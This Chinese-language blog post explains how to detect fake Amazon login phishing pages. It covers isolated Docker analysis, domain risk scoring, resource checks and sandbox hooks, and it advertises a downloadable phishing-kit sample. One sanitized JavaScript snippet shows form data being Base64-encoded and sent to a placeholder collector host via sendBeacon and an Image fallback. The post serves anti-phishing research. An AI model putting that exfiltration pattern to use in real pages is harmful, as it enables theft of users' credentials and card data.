
简介这份资源围绕仿冒亚马逊页面的钓鱼诈骗样本展开面向网络安全学习者、反欺诈研究人员及安全意识培训人员用于理解此类诈骗页面的构成与信息窃取逻辑。压缩包共24个文件以15个PHP脚本为主辅以3个JS、2个PNG、2个CSS及SVG等资源整体约167KB涵盖页面入口、邮件信息处理、浏览器与反爬检测、地区跳转及样式资源等模块结构接近一套可运行的仿冒站点。已有135人学习下载。读者可借此观察钓鱼页面如何伪装登录界面、收集表单提交数据并做访问环境判断从而在防御侧提炼识别可疑域名、异常表单与诱导链接的思路适合作为反钓鱼教学与安全研究的对照样本但须仅用于合法合规的学习与防护目的。1. 从一串乱码标题说起scam-amazon_Fullz_page_amazonscam_Amazon_ 到底在讲什么第一次看到scam-amazon_Fullz_page_amazonscam_Amazon_这个标题很多人会以为是某个恶意样本的哈希或者钓鱼域名拼接。实际上它更像一个被反复转手、命名混乱的“亚马逊诈骗页面”静态站点工程代号——scam-amazon是主题Fullz是黑产里对成套个人信息的叫法page说明它是一个落地页amazonscam是页面伪装的目标品牌。把这几段拼起来指向的就是一类仿冒亚马逊的钓鱼落地页用静态 HTML/CSS/JS 快速搭出一个和亚马逊登录、订单、退款页面高度相似的界面诱导访客输入账号、卡号、验证码。我做反钓鱼和风控对抗这几年接触过大量这类页面样本。它们的技术栈往往很“土”——纯静态、单文件、CDN 托管、表单直接 POST 到第三方收集端点。但正是这种土办法让它们迭代极快、存活极短、批量极大。这篇文章不教你怎么做钓鱼页而是从防御和检测视角把这类amazonscam落地页的结构、特征、复现分析环境和检测规则讲透。适合做风控、反欺诈、威胁情报、前端安全的同学也适合想理解“为什么这种页面能骗到人”的产品和运营。读完你能自己搭一个隔离分析环境把拿到的样本拆开看写出可用的检测规则。2. 拆解 amazonscam 落地页从目录结构到数据外发链路2.1 一个典型样本的静态结构长什么样这类页面为了降低托管成本、方便快速换域名通常被压成极少的文件。常见做法是一个index.html承载全部结构和内联样式一个app.js处理表单校验和提交一个style.css兜底再加一两个仿冒 logo 和背景图。有些版本会把 CSS 和 JS 全部内联进 HTML做成单文件方便一次性上传到任意静态托管。我一般拿到样本后先做三件事看文件清单、看外链引用、看表单 action。下面是一个脱敏后的目录示例你可以照着建一个分析目录# 建立隔离分析目录所有样本操作都在这里进行 mkdir -p ~/phish-lab/sample-001/{raw,static,report} cd ~/phish-lab/sample-001/raw # 假设样本已通过安全渠道获取解压到当前目录 unzip -o sample.zip -d ../static # 查看文件类型和大小快速判断是否有混淆或打包 find ../static -type f -exec file {} \; du -sh ../static/*逻辑说明raw放原始压缩包static放解压后的静态资源report放分析结论。file命令能快速识别出哪些是文本、哪些是图片、哪些是压缩过的 JS。参数上-o表示覆盖解压避免残留旧文件干扰判断。如果发现某个.js文件被file识别为data或gzip compressed基本可以确定做了压缩或编码混淆需要进一步还原。2.2 表单提交链路数据到底发去哪仿冒亚马逊页面最核心的动作就是收集表单。常见字段包括邮箱、密码、卡号、有效期、CVV、账单地址、短信验证码。提交方式有几种直接fetchPOST 到收集端点、动态创建img带参外发、或者先 Base64 编码再发。检测时重点看action、fetch、XMLHttpRequest、navigator.sendBeacon和动态Image对象。// 脱敏后的典型外发逻辑用于理解检测点 function submitForm(data) { // 常见做法先做一次 Base64规避简单关键词匹配 const payload btoa(JSON.stringify(data)); // 再用 sendBeacon 外发页面卸载也能发出去 const endpoint https://collector.example-endpoint.test/ingest; navigator.sendBeacon(endpoint, payload); // 部分样本会同时用 Image 兜底提高到达率 const img new Image(); img.src endpoint ?d encodeURIComponent(payload); }逻辑说明btoa把 JSON 转成 Base64让流量里的明文关键词消失绕过基于正则的简单检测。sendBeacon的特点是异步且不阻塞页面跳转用户点完提交立刻被重定向到真亚马逊收集端仍能收到数据。Image兜底是血泪经验——很多收集端不稳定多一条链路多一分到达率。检测时不能只看action要把sendBeacon、Image、fetch都纳入监控。参数上endpoint通常是一个看起来人畜无害的域名可能是被入侵的正常站点也可能是刚注册的短域名。分析时把域名提取出来查 whois、查证书、查历史解析往往能关联出一批同源样本。2.3 视觉仿冒的关键DOM 结构和资源引用仿冒页面要做到“一眼真”靠的是对亚马逊真实页面的 DOM 结构和 CSS 类名做高保真复制。常见做法是直接保存真实页面替换表单 action再微调 logo 和文案。检测时可以对比真实亚马逊页面的资源域名真实页面资源基本来自media-amazon.com、images-amazon.com等官方域仿冒页面往往引用本地图片或第三方图床。特征项真实亚马逊页面典型 amazonscam 页面主资源域名media-amazon.com 等官方域本地相对路径或第三方图床表单 action官方域或空第三方收集端点提交方式标准表单或官方 JSfetch/sendBeacon/Image 外发页面标题品牌规范文案常含拼写错误或多余空格证书官方 EV/OV 证书免费 DV 证书或自签这张表可以直接作为人工研判的检查清单。注意仿冒者也会升级比如把图片也放到 CDN 上、申请看起来正规的域名。所以单一特征不够要组合判断。2.4 用本地隔离环境复现分析流程分析这类页面必须在隔离环境里做不能直接浏览器打开。我一般用 Docker 起一个无网或受限网络的容器把静态文件挂进去用无头浏览器抓 DOM 和网络请求。# 起一个隔离分析容器限制网络只挂载样本目录 docker run -d --name phish-analyzer \ --network none \ -v ~/phish-lab/sample-001/static:/srv/sample:ro \ -p 127.0.0.1:8080:80 \ nginx:alpine # 进入容器用 curl 看页面结构和外链 docker exec -it phish-analyzer sh curl -s http://127.0.0.1:8080/index.html | grep -Eo https?://[^] | sort -u逻辑说明--network none切断容器外网防止样本里的外发逻辑真的把数据发出去。-v只读挂载样本避免误改。nginx:alpine提供最简静态服务。curl加grep提取所有外链快速定位收集端点和第三方资源。参数上-p 127.0.0.1:8080:80只绑定本机回环不暴露到局域网。如果要抓动态行为可以用 Playwright 或 Puppeteer 在容器里跑拦截所有网络请求并记录。这一步是后续写检测规则的数据来源。3. 检测规则怎么写从域名、DOM 到提交行为的四层过滤3.1 域名和证书层先做低成本粗筛绝大多数 amazonscam 页面在域名层就露馅。常见特征域名包含amazon但注册时间极短、使用免费 DV 证书、解析到廉价托管 IP、whois 隐私保护。粗筛阶段不需要看页面内容先按域名和证书打分。# 域名风险打分示例输入是待检测域名 import whois from datetime import datetime, timezone def domain_risk(domain): score 0 w whois.whois(domain) # 注册时间少于 30 天高风险 if w.creation_date: created w.creation_date if isinstance(created, list): created created[0] age_days (datetime.now(timezone.utc) - created.replace(tzinfotimezone.utc)).days if age_days 30: score 40 # 域名里含品牌词但不是官方域 if amazon in domain and not domain.endswith(amazon.com): score 30 # whois 隐私保护 if w.registrar and privacy in str(w.registrar).lower(): score 10 return score逻辑说明creation_date有时返回列表要取第一个。age_days小于 30 天是强特征因为钓鱼域名存活周期通常只有几天到几周。品牌词出现在非官方域里直接加 30 分。whois隐私保护单独看不算强特征但组合起来能提高排序。参数上阈值可以按你的误报容忍度调我一般 60 分以上进人工复核。注意whois 查询有频率限制生产环境要加缓存和异步。另外部分后缀的 whois 数据不完整不能只依赖这一层。3.2 DOM 和资源层识别高保真仿冒域名过关的样本要看页面本身。核心思路是真实亚马逊页面的资源引用有固定模式仿冒页面很难完全一致。可以提取页面里所有资源 URL和官方域名白名单比对。# 提取页面资源域名和官方白名单比对 import re from urllib.parse import urlparse OFFICIAL {media-amazon.com, images-amazon.com, amazon.com} def resource_check(html): urls re.findall(rhttps?://[^\s\], html) suspicious [] for u in urls: host urlparse(u).hostname or # 取主域处理多级子域 parts host.split(.) root ..join(parts[-2:]) if len(parts) 2 else host if root not in OFFICIAL and amazon in host: suspicious.append(u) return suspicious逻辑说明正则提取所有 URLurlparse拿 hostname再取主域和官方白名单比对。如果 host 里含amazon但主域不在白名单就是可疑资源。参数上OFFICIAL集合要按实际业务补充比如支付相关域名。这个方法对把图片放本地的样本无效所以要结合表单行为一起看。3.3 提交行为层拦截 sendBeacon 和动态 Image这是最有效的一层。不管页面做得多像只要它往外发数据就会留下行为特征。在浏览器沙箱里 hook 这些 API记录调用栈和目标地址。// 在页面加载前注入hook 关键外发 API (function () { const origBeacon navigator.sendBeacon; navigator.sendBeacon function (url, data) { console.warn([HOOK] sendBeacon -, url, data); // 记录到全局供后续提取 window.__phishLog window.__phishLog || []; window.__phishLog.push({ api: sendBeacon, url, data }); return origBeacon.apply(this, arguments); }; const OrigImage window.Image; window.Image function () { const img new OrigImage(); const origSetter Object.getOwnPropertyDescriptor(HTMLImageElement.prototype, src).set; Object.defineProperty(img, src, { set(v) { console.warn([HOOK] Image.src -, v); window.__phishLog.push({ api: Image, url: v }); origSetter.call(img, v); } }); return img; }; })();逻辑说明sendBeacon直接替换记录 url 和 data。Image的src是原型上的 setter要重新定义属性描述符才能拦截。记录到window.__phishLog后分析脚本可以一次性取走。参数上这个 hook 要在页面任何脚本执行前注入Playwright 的addInitScript或 Puppeteer 的evaluateOnNewDocument都行。提示hook 只用于隔离分析环境不要在生产用户浏览器里做类似注入涉及隐私和合规问题。3.4 规则组合与误报控制单层规则误报都高组合起来才可用。我的做法是加权域名风险 40%、资源异常 25%、提交行为 35%。总分超过阈值才告警。同时维护一个白名单把已知的官方营销页、合作方页面排除。# 组合打分示例 def combined_score(domain_score, resource_hits, beacon_hits): score domain_score * 0.4 if resource_hits: score 25 if beacon_hits: score 35 return min(score, 100)逻辑说明domain_score来自 3.1resource_hits来自 3.2beacon_hits来自 3.3。权重按经验设你可以用自己的标注数据调。min(score, 100)防止溢出。参数上告警阈值建议先设 70跑一段时间看误报再调。4. 避坑与排查分析 amazonscam 样本时最容易翻车的五件事4.1 直接在宿主机浏览器打开样本现象打开后浏览器自动跳转、弹窗、甚至下载文件宿主机可能被植入恶意脚本。 原因样本里常带重定向和混淆 JS宿主机浏览器有真实网络和文件系统权限。 解决一律在--network none的容器或无头浏览器沙箱里分析宿主机只做文件搬运不直接打开。4.2 只看 HTML 不看动态行为现象静态看页面很干净没有可疑外链但实际运行时数据被发出去了。 原因外发逻辑可能藏在 Base64 字符串里、动态拼接、或延迟触发。 解决用 Playwright 跑一遍hook 关键 API记录所有网络请求。静态和动态结合看。4.3 忽略编码和混淆现象grep搜amazon、password搜不到以为样本无害。 原因字符串被 Base64、十六进制、Unicode 转义或自定义编码处理过。 解决先做编码还原再搜关键词。常见做法是用atob、decodeURIComponent或写脚本批量尝试。4.4 把官方营销页误判为钓鱼现象告警里出现大量亚马逊官方活动页人工复核耗时。 原因官方页面也可能用短域名、第三方 CDN、动态表单。 解决维护官方域名和资源白名单定期更新。对高分样本先看证书和 whois官方页面证书和注册信息通常规范。4.5 收集端点已失效导致漏判现象样本里的收集端点已经下线hook 不到外发行为规则没触发。 原因钓鱼页面存活短样本拿到时端点可能已死。 解决不能只依赖运行时行为。静态特征域名、资源、DOM 结构要作为兜底。同时把失效端点也记录下来用于关联分析。5. 进阶把单样本分析变成可复用的检测流水线单次分析再细也只是一个个案。真正有价值的是把上面这些步骤串成流水线样本入库 → 自动解压 → 静态提取 → 沙箱运行 → 行为记录 → 组合打分 → 人工复核。我自己的习惯是每拿到一批新样本先跑一遍自动化把高分和低分分开人工只看高分和边界样本。一个具体技巧是维护“特征快照”。每次分析完把域名、证书指纹、资源哈希、hook 到的端点存下来。下次遇到新样本先和快照比对相似度高的直接归并不用重复分析。这样跑几个月你会积累出一个自己的仿冒页面特征库检测规则也能持续迭代。验证方法上我一般用历史样本做回放把过去三个月确认的钓鱼样本和正常页面混在一起跑流水线看召回和误报。召回低于 90% 就补规则误报高于 5% 就加白名单或调权重。这个循环比一次性写一堆规则靠谱得多。最后说个我踩过的坑早期我太依赖域名黑名单结果攻击者换域名比换衣服还快规则永远滞后。后来把重心移到行为层和资源层才稳定下来。做这类对抗别指望一劳永逸保持样本输入和规则迭代的节奏才是关键。希望帮到你。本文还有配套的精品资源点击获取